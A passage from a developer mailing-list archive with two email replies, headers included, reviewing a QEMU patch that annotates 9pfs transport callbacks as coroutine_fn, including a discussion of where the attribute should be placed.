         nTTfld9PJ+PfgWzfIj6i4GIpm7O/M9G4q83c+XeJvWg0QZr8QTrilB2vOf/YSQhc3RCo
         HRxDxhchHH89njQc4zPzIsnDKeoOqUX0tAE5L5fdZvM7bwzEd4Eva3QzCCeNt48CnJZX
         2dj5Gr8yACuDGCzGSthsCqFG19RWlWIcbaIP6Bf8Brcwf0Ge8xPpq0EVx12WJ2jDBhtl
         z1Ew==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784580172; x=1785184972;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:content-language:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=evPbccQePK9+xKuCm0xjXOtQA/aq6aTomkUzqkmA3sI=;
        b=MWmqcAjpIW2M0SiEEw6gB+6xoI5ice8TaCdPbAGKsMf4cHFBjZ1Uu7LNH+fTnUXaHN
         8+V9sS7M8iriQIGAWRutCGASGlxSMq8fggq7PldsTxJXp6/HcVLuTMiBfeSzr0HMjecM
         emWMaUROU6ksqCx7PqUuA6d/xY9w+0Wa/EP2ZJEr6eIGpk7NmHIUMxUIuAGfZyj+Feag
         Y0KDS5pjQKLB8pboj7ffKKMDrrYYlBpb4s9jJfPJEvHVBR70TjI7Q0J+06i36WvnvTAM
         DmSa/Uy6Cy1+h1GZgXmhAypiXl8xso9hI2/GZTs+W4HQpYHFCaxXlhaEpKtXKspAJxHV
         Fgtw==
X-Forwarded-Encrypted: i=1; AHgh+RpxmXh8r0p/JFhyogb/yqbecsrsUFcSye+xNDVlW+UeFN1LHZ4R+of5UejCoEPJ41oBvutdxnYJyOw=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxsDEaN+wUcUsuekUJJctqnhcQzHli1dzpIUQbZC2GlgCygifWn
	4lCQXFMUdQpyAdeMG3LCsMdC82sQJZfpbZna+WRFV4mKp07YcFSQKKp60Xp5tn1aY+W4sC3sKn3
	UDz9eRJW/S1dJx0CotMLn9wfWFKpHmjKb4Vr12c91UgIWsjOaU8FFB23crNrTM60lDq4tMA==
X-Gm-Gg: AfdE7clx+AIdQT0VOHnDtCSv9FzA7v/kDel9RjKsu89LOo3zKDPT8vemzFP/b9B+IZq
	p8Vk3ZNtwMRjXy6+8QkzYIgfgPtlU7f4IEhUzbhUsE9wt+5ngDPQexCgKHoSwRhYGzTcHJ2FAO4
	zRpauviTkz/IV/kvIdfkypGoEr8x+VTft5n9E5DNdwQzn17ADciY3d4CF9IBNbRudOnD50yyiRX
	cQ4Qmve7jvO8KbNVd2cAoqjIuwOez3RRKRIZceJX4LiZAf0qEuX0n7k6gmYAAY8xNRd/vWd2B3L
	2P7uhgkxth9CYFmSRZX/ftXsnoZ5HHZdquoxNRzW15ZBbwMGoBjIfczqy76c4S6TWClAPHNzJVk
	0zBsAcYAKfeVNR/j1UWXTcl+xKbNcQopNFl4agz71h2SulhNzNiE=
X-Received: by 2002:a05:622a:5e88:b0:51c:b98a:244a with SMTP id d75a77b69052e-5213d0c6e6emr149550631cf.62.1784580172394;
        Mon, 20 Jul 2026 13:42:52 -0700 (PDT)
X-Received: by 2002:a05:622a:5e88:b0:51c:b98a:244a with SMTP id d75a77b69052e-5213d0c6e6emr149550271cf.62.1784580171948;
        Mon, 20 Jul 2026 13:42:51 -0700 (PDT)
Message-ID: <7790107e-1256-4ed8-ba49-cab980197938@oss.qualcomm.com>
Date: Mon, 20 Jul 2026 22:42:49 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 7/8] hw/9pfs: annotate V9fsTransport callbacks as
 coroutine_fn
Content-Language: en-US
To: Christian Schoenebeck <qemu_oss@crudebyte.com>, qemu-devel@nongnu.org,
        =?UTF-8?Q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>,
        Fabiano Rosas <farosas@suse.de>,
        =?UTF-8?Q?Daniel_P=2E_Berrang=C3=A9?=
 <berrange@redhat.com>,
        John Snow <jsnow@redhat.com>,
        Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
        Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>,
        qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>,
        Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>,
        Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Anthony PERARD <anthony@xenproject.org>,
        "Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
        xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
 <20260720-co-v1-7-fabb4db3c204@redhat.com> <7970030.EvYhyI6sBW@weasel>
From: =?UTF-8?Q?Philippe_Mathieu-Daud=C3=A9?= <philmd@oss.qualcomm.com>
In-Reply-To: <7970030.EvYhyI6sBW@weasel>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzIwMDIyNiBTYWx0ZWRfX3yguUldX1aHs
 HmPUvbb6JYq7FaKs8iOluQ0GEhNKK6y8z5HnYJ2/8axsWA5opRYsfQrxgSqoAiMRJU5GxlhUkg6
 +81jmsNPkfNIcBXYWUmxo8EjA2bEuZE=
X-Proofpoint-ORIG-GUID: sAW4TZIwtvq3Qfg2q-zjHxqG3U-w6wDN
X-Authority-Analysis: v=2.4 cv=DMS/JSNb c=1 sm=1 tr=0 ts=6a5e884d cx=c_pps
 a=EVbN6Ke/fEF3bsl7X48z0g==:117 a=4s3hRJSeHn4rkQlkrse1kQ==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=M51BFTxLslgA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=_K5XuSEh1TEqbUxoQ0s3:22
 a=20KFwNOVAAAA:8 a=U4s93ykpB3yW7ajRV6YA:9 a=3ZKOabzyN94A:10 a=QEXdDO2ut3YA:10
 a=a_PwQJl-kcHnX1M80qC6:22
X-Proofpoint-GUID: sAW4TZIwtvq3Qfg2q-zjHxqG3U-w6wDN
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzIwMDIyNiBTYWx0ZWRfXx+AbRS/+CF8R
 udketZKN3kA4c9MbbANs7kcAYCcs1I5YYE7kc8ICzPqXxHqZdvBsNeJtoIvo05x9RWu6enW0xh/
 w3/T3Er85kuZIK8M5q3DuwCOWmPHyubPgVrJNkoXr95YoW2qEmgwOB0zGpFHlyNkbFnOI2tvHYs
 IuftAgq/QNoQsgsR9sIArZ2CPHwSSlFgcOYwcfWYGI9FwNjd47Po1qgsabHTwJDB3ksv/QwQphp
 LtcFvb8coxJBdZnUPuYIcL5oCIM+ugsGEQkqR6UU7nAH9CwMk1pL+toc3PSg0uOo25QQJKxrQDf
 UNJAvXB+gl2UHnAO828SsOP9hyJBECmUDFXMOL7k0J5f56l9M2JFJJe6HdMuPSGg7vTJu5z1+FZ
 v7DCDzcZh7ip2Iofj+cGMk5DQKuOQeepEm/VPho/qaG+Xn1JgDbgseAPSjNjp4du1PC36gApC8w
 2kVemy3endfnVc/2zeg==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-20_05,2026-07-20_03,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 suspectscore=0 impostorscore=0 priorityscore=1501 spamscore=0 bulkscore=0
 lowpriorityscore=0 clxscore=1015 phishscore=0 malwarescore=0 adultscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607200226
X-purgate-ID: tlsNG-ef75cf/1784580176-A74D3AE4-3B77BB32/0/0
X-purgate-type: clean
X-purgate-size: 3784

On 20/7/26 16:02, Christian Schoenebeck wrote:
> On Monday, 20 July 2026 09:55:36 CEST Marc-AndrÃ© Lureau wrote:
>> All V9fsTransport callbacks are invoked exclusively from coroutine
>> context (the v9fs_* PDU handlers). Annotate the function pointer
>> types in V9fsTransport and all implementations (virtio and xen
>> backends), as well as intermediate callers in 9p.c (pdu_marshal,
>> pdu_unmarshal, v9fs_init_qiov_from_pdu, etc.).
>>
>> Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
>> ---
>>   hw/9pfs/9p.h               | 26 +++++++++++++++-----------
>>   hw/9pfs/9p.c               | 31 +++++++++++++++++++------------
>>   hw/9pfs/virtio-9p-device.c | 24 +++++++++++++-----------
>>   hw/9pfs/xen-9p-backend.c   | 34 +++++++++++++++++-----------------
>>   4 files changed, 64 insertions(+), 51 deletions(-)
>>
>> diff --git a/hw/9pfs/9p.h b/hw/9pfs/9p.h
>> index 1a309664f6e..0e52ffbdf38 100644
>> --- a/hw/9pfs/9p.h
>> +++ b/hw/9pfs/9p.h
>> @@ -472,17 +472,21 @@ void pdu_submit(V9fsPDU *pdu, P9MsgHeader *hdr);
>>   void v9fs_reset(V9fsState *s);
>>
>>
>>   struct V9fsTransport {
>> -    ssize_t     (*pdu_vmarshal)(V9fsPDU *pdu, size_t offset, const char *fmt,
>> -                                va_list ap);
>> -    ssize_t     (*pdu_vunmarshal)(V9fsPDU *pdu, size_t offset, const char *fmt,
>> -                                  va_list ap);
>> -    void        (*init_in_iov_from_pdu)(V9fsPDU *pdu, struct iovec **piov,
>> -                                        unsigned int *pniov, size_t size);
>> -    void        (*init_out_iov_from_pdu)(V9fsPDU *pdu, struct iovec **piov,
>> -                                         unsigned int *pniov, size_t size);
>> -    void        (*push_and_notify)(V9fsPDU *pdu);
>> -    size_t      (*msize_limit)(V9fsState *s);
>> -    size_t      (*response_buffer_size)(V9fsPDU *pdu);
>> +    ssize_t     coroutine_fn (*pdu_vmarshal)(V9fsPDU *pdu, size_t offset,
>> +                                             const char *fmt, va_list ap);
>> +    ssize_t     coroutine_fn (*pdu_vunmarshal)(V9fsPDU *pdu, size_t offset,
>> +                                               const char *fmt, va_list ap);
>> +    void        coroutine_fn (*init_in_iov_from_pdu)(V9fsPDU *pdu,
>> +                                                     struct iovec **piov,
>> +                                                     unsigned int *pniov,
>> +                                                     size_t size);
>> +    void        coroutine_fn (*init_out_iov_from_pdu)(V9fsPDU *pdu,
>> +                                                      struct iovec **piov,
>> +                                                      unsigned int *pniov,
>> +                                                      size_t size);
>> +    void        coroutine_fn (*push_and_notify)(V9fsPDU *pdu);
>> +    size_t      coroutine_fn (*msize_limit)(V9fsState *s);
>> +    size_t      coroutine_fn (*response_buffer_size)(V9fsPDU *pdu);
>>   };
> 
> I wonder whether that could be made more diff/blame-friendly. Especially as
> this currently only serves documentation purposes.
> 
> They way you are positioning coroutine_fn it usually resolves to an attribute
> attached to the function's return type, not to the function itself, even
> though clang/gcc handling it flexible. For attaching an attribute to the
> function itself the attribute should either be attached before the function
> declaration or after the function declaration.

I tend to aggree it would be clearer to have these attributes /before/
the function prototype declaration.

> In both cases you could then
> add it to its own, separate line, avoiding a lot of noise.
> 
> /Christian
> 
> 
> 
> 



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 20:54:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 20:54:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367395.1617176 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlv0j-0005Pa-1X; Mon, 20 Jul 2026 20:54:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367395.1617176; Mon, 20 Jul 2026 20:54:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlv0i-0005PT-Uu; Mon, 20 Jul 2026 20:54:48 +0000
Received: by outflank-mailman (input) for mailman id 1367395;
 Mon, 20 Jul 2026 20:54:48 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <philmd@oss.qualcomm.com>) id 1wlv0i-0005PN-53
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 20:54:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlv0h-008AbV-3S
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 22:54:47 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5e8afe-e002-0a2a0a5209dd-0a2a4502ca1c-8
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 22:54:47 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5e8b15-6ca4-0a2a45020019-cddca8831868-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 22:54:46 +0200
Received: from pps.filterd (m0279862.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66KJU16N3368923
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 20:54:44 GMT
Received: from mail-qt1-f199.google.com (mail-qt1-f199.google.com
 [209.85.160.199])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fhgs030e0-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 20:54:44 +0000 (GMT)
Received: by mail-qt1-f199.google.com with SMTP id
 d75a77b69052e-51c1b4d961dso78998771cf.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 13:54:44 -0700 (PDT)
Received: from [192.168.69.219] (88-187-86-199.subs.proxad.net.
 [88.187.86.199]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4956547319dsm13811755e9.5.2026.07.20.13.54.40
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 13:54:41 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:References:Cc:To:From:Content-Language:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	j1yaI9+UfRFExxJWNuN1Irm3lmYbG6CVl7bu6i2Vrzo=; b=X0vUQZthLGy8i433
	mR5mzBPnxNQhvq8pyqcdPPYxs0hKq6ojsfeLyBxhEQoJ2kX+7XzzlpWH1x1ZcSDs
	af4H7NlkefIYXCHgNr5aAjK0sPygak+dQyc4LR1u9+tO/dTCPIEKaE89ZlJNhapx
	Vn/sxHP9Vpg1ejGKmMYRWOQMIhZiA4HX7sDtlrUGUe/Ku1tsbG00184P9hbj3ZME
	PAJ9G3/PP+aV6IdigP4fqQ8+lA6qb66XYHSJkff2ywNcZwsiE9Pxw1+oAo/ekbOb
	cgb7nh2pNKgugnYFcgMlPvLb3mXgVxbnCH9jiKLCW956r2vbXIjVzvZqIm5yzTo8
	YN6OmA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784580883; x=1785185683; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:references:cc:to
         :from:content-language:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=j1yaI9+UfRFExxJWNuN1Irm3lmYbG6CVl7bu6i2Vrzo=;
        b=IaDPNb9M7YIU26l2bZO0ueFT5HHv0AACWzb6p7ArL3BnW4GMfNydnldZ8/LY44vM3w
         2adu/Q4F8/FpIoNvivyu5A+tiwOQTJIT+gl9qs0ZaO74bp9PNr0ZdoFDm0H16/swItZB
         zEpJwgV6oOa48+gHQLGK7hgPuIyM4nou9HEemnbfj72gRfM8ocfst4Ng3IzupNZcHdQF
         07suOT+sLUzK4YrBn92v0S1QNaT54RJzf2Yvov5EJZtF1/wQLs10E8hNkEj2DZvfagKR
         +NnrB8DdbgXXyAshEVNI3cCC/QaJhZdiQXet3GrNba4ggRKYuukYk6v/o6CS9ZNLhM4e
         ZS0w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784580883; x=1785185683;
        h=content-transfer-encoding:content-type:in-reply-to:references:cc:to
         :from:content-language:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=j1yaI9+UfRFExxJWNuN1Irm3lmYbG6CVl7bu6i2Vrzo=;
        b=KxfKrS4OlyiH7ys2Q4Ecok03/fMUCUxHLWXYTp6SmTtnHVk/C+u9+FVFjfb23jJq57
         9btkm4rRRsQdjwV50ALORVaCPqHRHLJCMlMph3dvrvbjad+r1V0rskaT/ejRtFEq/D69
         52DvpYwFvmWOAKE+Hx20/+8SHcFJ8vmMeCQiB8pWrh9A95tKvsm5/DYbJfL3rEXspatW
         6/E6NkwLruu3nlcgdU4VNxWvz91Ox72g+uWvU38dtgPl4TZEfdaEC3USBg4oewXg69nW
         32LJu+CzBGbmzlqbU4pQEMqmkpcUZttUEjR9QZ0drm+beTkC8gogLFtIoYUKz+XXiT7E
         wFCA==
X-Forwarded-Encrypted: i=1; AHgh+RrsqFFFAP9gPr0d/QJ2xDVcZwwbdycqntIHgX82g7OxNVu4P/EhA0U8D5oCrXpG4y/a/c0w26CM5SA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwG6dI3hxIMpWaX8sO/msjRFIJQZ1BvyRqM+FQwyjlPs2zhTKL/
	qZD6tceQgJXc26zOclwOOUdmTkiSkFXgElsa6e6vsoM4ixm7yLpBlFLZLSbEI14mq8kiJpfxGa+
	n80/Z+BiTSwPsp4VgtxzU4MZ7iAB/bU0yWNRZYIx4cmqbW2v+gefhX6wUmqI1RuG7VCMuew==
X-Gm-Gg: AfdE7clC2GZWqf1Au7morLDATBSWO68Yw+wf3lG2dyxSYzz085hFQFUDt/WH8QJGHdT
	aQy40Vi8a3mfqN5x0+n0jlcGd0frwBeqskk0tQXXGesVbs9xDilyykywMMQeWjk5dyvSEhuLW9B
	fJpVManxn+mVKA/3pF5JLrCe/EpqClK40u8RLz3Nzgge4KM/0AIJcscWhK6Zi7/S29QWVm8VLiW
	hruH3tKXcyirEjwkWi83Ah+ZRNIfQqx/C3EBNjEx/n2zJD4aiYt61wSDcvuzJPi84fR8TEltk1Z
	03D11x1VnL0L7E4scXhpTs5/qJB6ggx0TDGxte93gAbORrgbfz1/5rKmVmgx8gJMqkWjz+HvrPK
	7cS2VB11XiMJfhZ3aCiFvMMGzOodZsbKranzKE5irUX8g38T8i8E=
X-Received: by 2002:a05:622a:60c:b0:51c:98f:f288 with SMTP id d75a77b69052e-51fc1293160mr201720151cf.25.1784580883405;
        Mon, 20 Jul 2026 13:54:43 -0700 (PDT)
X-Received: by 2002:a05:622a:60c:b0:51c:98f:f288 with SMTP id d75a77b69052e-51fc1293160mr201719971cf.25.1784580882969;
        Mon, 20 Jul 2026 13:54:42 -0700 (PDT)
Message-ID: <5af0aaf1-d372-4800-9f6f-8f5dacd8c69e@oss.qualcomm.com>
Date: Mon, 20 Jul 2026 22:54:40 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 7/8] hw/9pfs: annotate V9fsTransport callbacks as
 coroutine_fn
Content-Language: en-US
From: =?UTF-8?Q?Philippe_Mathieu-Daud=C3=A9?= <philmd@oss.qualcomm.com>
To: Christian Schoenebeck <qemu_oss@crudebyte.com>, qemu-devel@nongnu.org,
        =?UTF-8?Q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>,
        Fabiano Rosas <farosas@suse.de>,
        =?UTF-8?Q?Daniel_P=2E_Berrang=C3=A9?=
 <berrange@redhat.com>,
        John Snow <jsnow@redhat.com>,
        Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
        Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>,
        qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>,
        Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>,
        Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Anthony PERARD <anthony@xenproject.org>,
        "Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
        xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
 <20260720-co-v1-7-fabb4db3c204@redhat.com> <7970030.EvYhyI6sBW@weasel>
 <7790107e-1256-4ed8-ba49-cab980197938@oss.qualcomm.com>
In-Reply-To: <7790107e-1256-4ed8-ba49-cab980197938@oss.qualcomm.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzIwMDIyOCBTYWx0ZWRfX2yvVYNgDq0fa
 0mzsN951mwH5g6p6JbgKS9z4pXDVp8CdeoO/0L3tydtQBXwn70omYRRzNz0O/0D7BY2tdb542dR
 1Sze2QINeEx+z4fwolNZ/idrkrlI4mg=
X-Proofpoint-ORIG-GUID: R0oGcMxZ8vzThijzcdXpIdmcBHCtzofc
X-Authority-Analysis: v=2.4 cv=DMS/JSNb c=1 sm=1 tr=0 ts=6a5e8b14 cx=c_pps
 a=WeENfcodrlLV9YRTxbY/uA==:117 a=4s3hRJSeHn4rkQlkrse1kQ==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=M51BFTxLslgA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=_K5XuSEh1TEqbUxoQ0s3:22
 a=20KFwNOVAAAA:8 a=FKbDSFgr-VcrMEy9-l8A:9 a=3ZKOabzyN94A:10 a=QEXdDO2ut3YA:10
 a=kacYvNCVWA4VmyqE58fU:22
X-Proofpoint-GUID: R0oGcMxZ8vzThijzcdXpIdmcBHCtzofc
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzIwMDIyOCBTYWx0ZWRfX4yS9NpTzdiH1
 b5PqqPAYczafKTLpXK0kvDbEgSZoKEmh7cRVVbKR2dbyWuNn932vRYEKUv/N78fQICoMw4iEqXp
 qcIZCV7SKEugGhqZ77hBn5TCo7tBnA1+sUujG+wr7MK9rjtYCjYVZpdf6Ux+PK7AwaC9MFiPmfl
 V2sYoJFrX9U3oB05lcpuj+GpiE0t6FKLct/bR0CbNbix1M/ulsFYVB+/ws5zfh4nBdnZ8Per5YE
 X/T39pLaVS56i3kfPfKhTW4yAOcT/kN3EIG9NlrOBEL9TwTYjKgt3Ivu7eqzsuCLBZwsrCC9obx
 Vi3oYsvyFOIRKLnr3rz/upYQs70+iJMDbx7Ajpbapaxl4RyLdRWBVcq6EvbYZ+6YDNvw+Fl/7ou
 wXJObvp3ppg8URqLLgd3NLzdknRG/RdSYShLUq1MPph+nHUxtC0weaUNI/OdldC6L3u7LlUUEl7
 WdrImblBRwyvnvfbtfQ==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-20_05,2026-07-20_03,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 suspectscore=0 impostorscore=0 priorityscore=1501 spamscore=0 bulkscore=0
 lowpriorityscore=0 clxscore=1015 phishscore=0 malwarescore=0 adultscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607200228
X-purgate-ID: tlsNG-720697/1784580887-F24B62AC-B0127FC9/0/0
X-purgate-type: clean
X-purgate-size: 5319

On 20/7/26 22:42, Philippe Mathieu-DaudÃƒÂ© wrote:
> On 20/7/26 16:02, Christian Schoenebeck wrote:
>> On Monday, 20 July 2026 09:55:36 CEST Marc-AndrÃ© Lureau wrote:
>>> All V9fsTransport callbacks are invoked exclusively from coroutine
>>> context (the v9fs_* PDU handlers). Annotate the function pointer
>>> types in V9fsTransport and all implementations (virtio and xen
>>> backends), as well as intermediate callers in 9p.c (pdu_marshal,
>>> pdu_unmarshal, v9fs_init_qiov_from_pdu, etc.).
>>>
>>> Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
>>> ---
>>> Â  hw/9pfs/9p.hÂ Â Â Â Â Â Â Â Â Â Â Â Â Â  | 26 +++++++++++++++-----------
>>> Â  hw/9pfs/9p.cÂ Â Â Â Â Â Â Â Â Â Â Â Â Â  | 31 +++++++++++++++++++------------
>>> Â  hw/9pfs/virtio-9p-device.c | 24 +++++++++++++-----------
>>> Â  hw/9pfs/xen-9p-backend.cÂ Â  | 34 +++++++++++++++++-----------------
>>> Â  4 files changed, 64 insertions(+), 51 deletions(-)
>>>
>>> diff --git a/hw/9pfs/9p.h b/hw/9pfs/9p.h
>>> index 1a309664f6e..0e52ffbdf38 100644
>>> --- a/hw/9pfs/9p.h
>>> +++ b/hw/9pfs/9p.h
>>> @@ -472,17 +472,21 @@ void pdu_submit(V9fsPDU *pdu, P9MsgHeader *hdr);
>>> Â  void v9fs_reset(V9fsState *s);
>>>
>>>
>>> Â  struct V9fsTransport {
>>> -Â Â Â  ssize_tÂ Â Â Â  (*pdu_vmarshal)(V9fsPDU *pdu, size_t offset, const 
>>> char *fmt,
>>> -Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  va_list ap);
>>> -Â Â Â  ssize_tÂ Â Â Â  (*pdu_vunmarshal)(V9fsPDU *pdu, size_t offset, const 
>>> char *fmt,
>>> -Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  va_list ap);
>>> -Â Â Â  voidÂ Â Â Â Â Â Â  (*init_in_iov_from_pdu)(V9fsPDU *pdu, struct iovec 
>>> **piov,
>>> -Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  unsigned int *pniov, size_t 
>>> size);
>>> -Â Â Â  voidÂ Â Â Â Â Â Â  (*init_out_iov_from_pdu)(V9fsPDU *pdu, struct iovec 
>>> **piov,
>>> -Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  unsigned int *pniov, size_t 
>>> size);
>>> -Â Â Â  voidÂ Â Â Â Â Â Â  (*push_and_notify)(V9fsPDU *pdu);
>>> -Â Â Â  size_tÂ Â Â Â Â  (*msize_limit)(V9fsState *s);
>>> -Â Â Â  size_tÂ Â Â Â Â  (*response_buffer_size)(V9fsPDU *pdu);
>>> +Â Â Â  ssize_tÂ Â Â Â  coroutine_fn (*pdu_vmarshal)(V9fsPDU *pdu, size_t 
>>> offset,
>>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  const char *fmt, 
>>> va_list ap);
>>> +Â Â Â  ssize_tÂ Â Â Â  coroutine_fn (*pdu_vunmarshal)(V9fsPDU *pdu, size_t 
>>> offset,
>>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  const char *fmt, 
>>> va_list ap);
